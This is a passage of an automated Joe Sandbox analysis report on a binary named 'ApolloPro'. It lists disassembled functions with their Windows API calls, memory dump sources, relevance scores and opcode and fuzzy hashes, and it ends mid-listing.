                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LoadString$__swprintf
                                                                    • String ID:
                                                                    • API String ID: 207118244-0
                                                                    • Opcode ID: 76d5187012df66958d82dec3cd0b0be58a593713c20acb197ae56eeacdab620d
                                                                    • Instruction ID: 9ffcd4b805226aba0ca326c9a4b4e0fd9fa1285c4cc54c36513a228f4f223984
                                                                    • Opcode Fuzzy Hash: 76d5187012df66958d82dec3cd0b0be58a593713c20acb197ae56eeacdab620d
                                                                    • Instruction Fuzzy Hash: 29B14A34A0011ADFCB14EF98D855EFEB7B5FF58714F20801AF915A7291EB70A981CB90
                                                                    Function 007C343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID:
                                                                    • API String ID: 4104443479-0
                                                                    • Opcode ID: 123cc7aa4f2bf7ae9bb9146e7391595874573137e5658805fe5879185853b5ad
                                                                    • Instruction ID: 158c92e6d4cafb8c4243da3cdac9ebeea395f46991d4deb11a22f85fe2ee1117
                                                                    • Opcode Fuzzy Hash: 123cc7aa4f2bf7ae9bb9146e7391595874573137e5658805fe5879185853b5ad
                                                                    • Instruction Fuzzy Hash: DB318D79604A02DFC7299F18D494F31F7A4FF08310B14C56EE98A8B791D734EA91CB90
                                                                    Function 007EE2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ClearVariant
                                                                    • String ID:
                                                                    • API String ID: 1473721057-0
                                                                    • Opcode ID: 2b67dc114973690cf15c19be9c1ecd46f6ca8b82bace2fb37f38c5c7f790f88b
                                                                    • Instruction ID: 48d1bd2e5b14b0fa67cb1534b51bfd2fe846e8130b8d04bec8f6d84b0fde1a72
                                                                    • Opcode Fuzzy Hash: 2b67dc114973690cf15c19be9c1ecd46f6ca8b82bace2fb37f38c5c7f790f88b
                                                                    • Instruction Fuzzy Hash: B6411B74504345DFDB14DF18C498B5ABBE1BF45318F1988ACE9899B362C339EC85CB52
                                                                    Function 007C49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C4B29: FreeLibrary.KERNEL32(00000000,?), ref: 007C4B63
                                                                      • Part of subcall function 007D547B: __wfsopen.LIBCMT ref: 007D5486
                                                                    • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,007C27AF,?,00000001), ref: 007C49F4
                                                                      • Part of subcall function 007C4ADE: FreeLibrary.KERNEL32(00000000), ref: 007C4B18
                                                                      • Part of subcall function 007C48B0: _memmove.LIBCMT ref: 007C48FA
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Library$Free$Load__wfsopen_memmove
                                                                    • String ID:
                                                                    • API String ID: 1396898556-0
                                                                    • Opcode ID: 82e5ba948e9793a310e281e2cf691d74004d80b1882c49bb61e53f52b835abc8
                                                                    • Instruction ID: d2751acb6cd5cebcea3e969f40e06a2a7f407fe73859c7b0ef8b7db2aab527a8
                                                                    • Opcode Fuzzy Hash: 82e5ba948e9793a310e281e2cf691d74004d80b1882c49bb61e53f52b835abc8
                                                                    • Instruction Fuzzy Hash: A511C431650209EBCB20EB608C2AFAE77A9EF44701F10C42DF545B61C1EA789A10AB94
                                                                    Function 007EE3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ClearVariant
                                                                    • String ID:
                                                                    • API String ID: 1473721057-0
                                                                    • Opcode ID: 172f1e45ed63a4cfadebc942a9bf54fb39cafe5a8ec85460a3445bc7bac7c1a6
                                                                    • Instruction ID: 36f82c2c1d065bb0987b76e76aba3e3c4457edc7dccdb20f529a5f33848863ff
                                                                    • Opcode Fuzzy Hash: 172f1e45ed63a4cfadebc942a9bf54fb39cafe5a8ec85460a3445bc7bac7c1a6
                                                                    • Instruction Fuzzy Hash: 3A2124B4508345DFDB14DF54C454B5ABBE1BF88304F05496CF98A57322D339E849CB92
                                                                    Function 007C1A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID:
                                                                    • API String ID: 4104443479-0
                                                                    • Opcode ID: c26ee0b26c3c861db2cbc4bf0a203224727821ed064f586d54fa749b37ecb7d0
                                                                    • Instruction ID: 6f9999e0aa214386014849a224686147f1fdd03c3fb31a76dfb6e1f741044e82
                                                                    • Opcode Fuzzy Hash: c26ee0b26c3c861db2cbc4bf0a203224727821ed064f586d54fa749b37ecb7d0
                                                                    • Instruction Fuzzy Hash: 2801D672201701AED3245B39DC06F6BBBA8DB457A0F50C53EF51ACA2D2EA35E4408BA0
                                                                    Function 007C4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _fseek
                                                                    • String ID:
                                                                    • API String ID: 2937370855-0
                                                                    • Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
                                                                    • Instruction ID: 387e9d9f3665362e721c7b9c1a57cd0406cbaabc5b1d917d6f9f8c696be798d9
                                                                    • Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
                                                                    • Instruction Fuzzy Hash: D0F085B6400208FFDF108F84DC04DEFBF79EB89720F00819CF9045A210D232EA218BA0
                                                                    Function 007C4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FreeLibrary.KERNEL32(?,?,?,007C27AF,?,00000001), ref: 007C4A63
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: FreeLibrary
                                                                    • String ID:
                                                                    • API String ID: 3664257935-0
                                                                    • Opcode ID: e7ffabeefea80e90f1a9ab2def0b9f52b4bc8afe5685c3d793e8ae0b552f61d4
                                                                    • Instruction ID: 941096fbae5807d06a489208b04b5c2179ccd2195cbf4eb9b8e8929a0905065f
                                                                    • Opcode Fuzzy Hash: e7ffabeefea80e90f1a9ab2def0b9f52b4bc8afe5685c3d793e8ae0b552f61d4
                                                                    • Instruction Fuzzy Hash: FCF0F271145B01CFCB349F64E4A4A2ABBF1AB14329320A92EE5A682610C7399984DF54
                                                                    Function 007C4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __fread_nolock
                                                                    • String ID:
                                                                    • API String ID: 2638373210-0
                                                                    • Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
                                                                    • Instruction ID: e511ec564171cbca565ae3bb3c844f1d7753740ce8cff8b078c97d37b283efe6
                                                                    • Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
                                                                    • Instruction Fuzzy Hash: BFF0F87240020DFFDF05CF94C945EAABB79FB14314F208589F9199A252D336DA21AB91
                                                                    Function 007D09C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007D09E4
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LongNamePath_memmove
                                                                    • String ID:
                                                                    • API String ID: 2514874351-0
                                                                    • Opcode ID: 0887255a6dda6bf942930dd63abaa5631b2cf18a67c30c75a644ae9f7d94dac9
                                                                    • Instruction ID: 5eb131b4ebdad65954641003291cad9481255a2b07604a0c2a5113a7c00a3ae8
                                                                    • Opcode Fuzzy Hash: 0887255a6dda6bf942930dd63abaa5631b2cf18a67c30c75a644ae9f7d94dac9
                                                                    • Instruction Fuzzy Hash: 9AE0863690412857C72196989C0AFEE77DDEB8A7A1F0402B6FD08D7304D9749C8186D1
                                                                    Function 00814D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00814D31
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: FolderPath_memmove
                                                                    • String ID:
                                                                    • API String ID: 3334745507-0
                                                                    • Opcode ID: d09ee358ff3b6e5d52096eff9b3d6b85a9d38f31132bc11dea6aa34b33a1ce84
                                                                    • Instruction ID: 69ec89fbd4ee115667026fe4fda6a093838a6c195444ecf9f47453ae0b18c0f3
                                                                    • Opcode Fuzzy Hash: d09ee358ff3b6e5d52096eff9b3d6b85a9d38f31132bc11dea6aa34b33a1ce84
                                                                    • Instruction Fuzzy Hash: E6D05EA590032C6BDB60E6A49C0DDB77BACE745224F0006F57D5CC3102E9349D458AE0
                                                                    Function 008177C2 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateThread.KERNELBASE(00000000,00000000,Function_000677A8,00000000,00000000,?), ref: 008177DD
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CreateThread
                                                                    • String ID:
                                                                    • API String ID: 2422867632-0
                                                                    • Opcode ID: f9f62657ddd270bcf0ece092ddba0851f2be587194739ad0b54376d12589e7c2
                                                                    • Instruction ID: db0d6fb70f0ef7ef679cf3b73526cb35f6dbb23d999191b4697f50eece7acd45
                                                                    • Opcode Fuzzy Hash: f9f62657ddd270bcf0ece092ddba0851f2be587194739ad0b54376d12589e7c2
                                                                    • Instruction Fuzzy Hash: 99D012714683147F56288B64DC46CA777ACF905221740076EFC05C1640E6A1BC4086A0
                                                                    Function 007D547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __wfsopen
                                                                    • String ID:
                                                                    • API String ID: 197181222-0
                                                                    • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                                    • Instruction ID: d6028f0f6ac2ca7e6a686b18332bbea0afae23caa8ab8b3b54aea2abc2a16529
                                                                    • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                                    • Instruction Fuzzy Hash: 27B0927A44020CB7CE012A82EC03E593B299B40669F408021FB0C1C262A677A6A09A8A
                                                                    Function 007D3588 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _doexit.LIBCMT ref: 007D3592
                                                                      • Part of subcall function 007D3459: __lock.LIBCMT ref: 007D3467
                                                                      • Part of subcall function 007D3459: DecodePointer.KERNEL32(0086CB70,0000001C,007D33B2,007D1003,00000001,00000000,?,007D3300,000000FF,?,007D9E5E,00000011,007D1003,?,007D9CAC,0000000D), ref: 007D34A6
                                                                      • Part of subcall function 007D3459: DecodePointer.KERNEL32(?,007D3300,000000FF,?,007D9E5E,00000011,007D1003,?,007D9CAC,0000000D), ref: 007D34B7
                                                                      • Part of subcall function 007D3459: EncodePointer.KERNEL32(00000000,?,007D3300,000000FF,?,007D9E5E,00000011,007D1003,?,007D9CAC,0000000D), ref: 007D34D0
                                                                      • Part of subcall function 007D3459: DecodePointer.KERNEL32(-00000004,?,007D3300,000000FF,?,007D9E5E,00000011,007D1003,?,007D9CAC,0000000D), ref: 007D34E0
                                                                      • Part of subcall function 007D3459: EncodePointer.KERNEL32(00000000,?,007D3300,000000FF,?,007D9E5E,00000011,007D1003,?,007D9CAC,0000000D), ref: 007D34E6
                                                                      • Part of subcall function 007D3459: DecodePointer.KERNEL32(?,007D3300,000000FF,?,007D9E5E,00000011,007D1003,?,007D9CAC,0000000D), ref: 007D34FC
                                                                      • Part of subcall function 007D3459: DecodePointer.KERNEL32(?,007D3300,000000FF,?,007D9E5E,00000011,007D1003,?,007D9CAC,0000000D), ref: 007D3507
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Pointer$Decode$Encode$__lock_doexit
                                                                    • String ID:
                                                                    • API String ID: 2158581194-0
                                                                    • Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
                                                                    • Instruction ID: d07d09d31705f7561c2022d0f7cb3a9ec647a8a998575370452c643d55e19b48
                                                                    • Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
                                                                    • Instruction Fuzzy Hash: 91B0123198030C73DA112541EC03F253B2C4740B50F100022FE0C1C2E1A5D7766040CA

                                                                    Non-executed Functions

                                                                    Function 0083D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0083D208
                                                                    • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0083D249
                                                                    • GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0083D28E
                                                                    • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0083D2B8
                                                                    • SendMessageW.USER32 ref: 0083D2E1
                                                                    • _wcsncpy.LIBCMT ref: 0083D359
                                                                    • GetKeyState.USER32(00000011), ref: 0083D37A
                                                                    • GetKeyState.USER32(00000009), ref: 0083D387
                                                                    • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0083D39D
                                                                    • GetKeyState.USER32(00000010), ref: 0083D3A7
                                                                    • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0083D3D0
                                                                    • SendMessageW.USER32 ref: 0083D3F7
                                                                    • SendMessageW.USER32(?,00001030,?,0083B9BA), ref: 0083D4FD
                                                                    • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0083D513
                                                                    • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0083D526
                                                                    • SetCapture.USER32(?), ref: 0083D52F
                                                                    • ClientToScreen.USER32(?,?), ref: 0083D594
                                                                    • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0083D5A1
                                                                    • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0083D5BB
                                                                    • ReleaseCapture.USER32 ref: 0083D5C6
                                                                    • GetCursorPos.USER32(?), ref: 0083D600
                                                                    • ScreenToClient.USER32(?,?), ref: 0083D60D
                                                                    • SendMessageW.USER32(?,00001012,00000000,?), ref: 0083D669
                                                                    • SendMessageW.USER32 ref: 0083D697
                                                                    • SendMessageW.USER32(?,00001111,00000000,?), ref: 0083D6D4
                                                                    • SendMessageW.USER32 ref: 0083D703
                                                                    • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0083D724
                                                                    • SendMessageW.USER32(?,0000110B,00000009,?), ref: 0083D733
                                                                    • GetCursorPos.USER32(?), ref: 0083D753
                                                                    • ScreenToClient.USER32(?,?), ref: 0083D760
                                                                    • GetParent.USER32(?), ref: 0083D780
                                                                    • SendMessageW.USER32(?,00001012,00000000,?), ref: 0083D7E9
                                                                    • SendMessageW.USER32 ref: 0083D81A
                                                                    • ClientToScreen.USER32(?,?), ref: 0083D878
                                                                    • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0083D8A8
                                                                    • SendMessageW.USER32(?,00001111,00000000,?), ref: 0083D8D2
                                                                    • SendMessageW.USER32 ref: 0083D8F5
                                                                    • ClientToScreen.USER32(?,?), ref: 0083D947
                                                                    • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0083D97B
                                                                      • Part of subcall function 007B29AB: GetWindowLongW.USER32(?,000000EB), ref: 007B29BC
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0083DA17
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                                    • String ID: @GUI_DRAGID$F
                                                                    • API String ID: 3977979337-4164748364
                                                                    • Opcode ID: 51d0d2c52bcdb2bec8181f166a61a87e7d6ac191408b830b90195e2db819184e
                                                                    • Instruction ID: ae65bc145eb8e9ad4f1e4b3c286ff90ba68ed49c529d9b0e2b6321a91806637c
                                                                    • Opcode Fuzzy Hash: 51d0d2c52bcdb2bec8181f166a61a87e7d6ac191408b830b90195e2db819184e
                                                                    • Instruction Fuzzy Hash: 8542BC74204341AFD724DF28D848BAABBE5FF89314F140619FA99C72A1D771E894CF92
                                                                    Function 00808F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00809399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 008093E3
                                                                      • Part of subcall function 00809399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00809410
                                                                      • Part of subcall function 00809399: GetLastError.KERNEL32 ref: 0080941D
                                                                    • _memset.LIBCMT ref: 00808F71
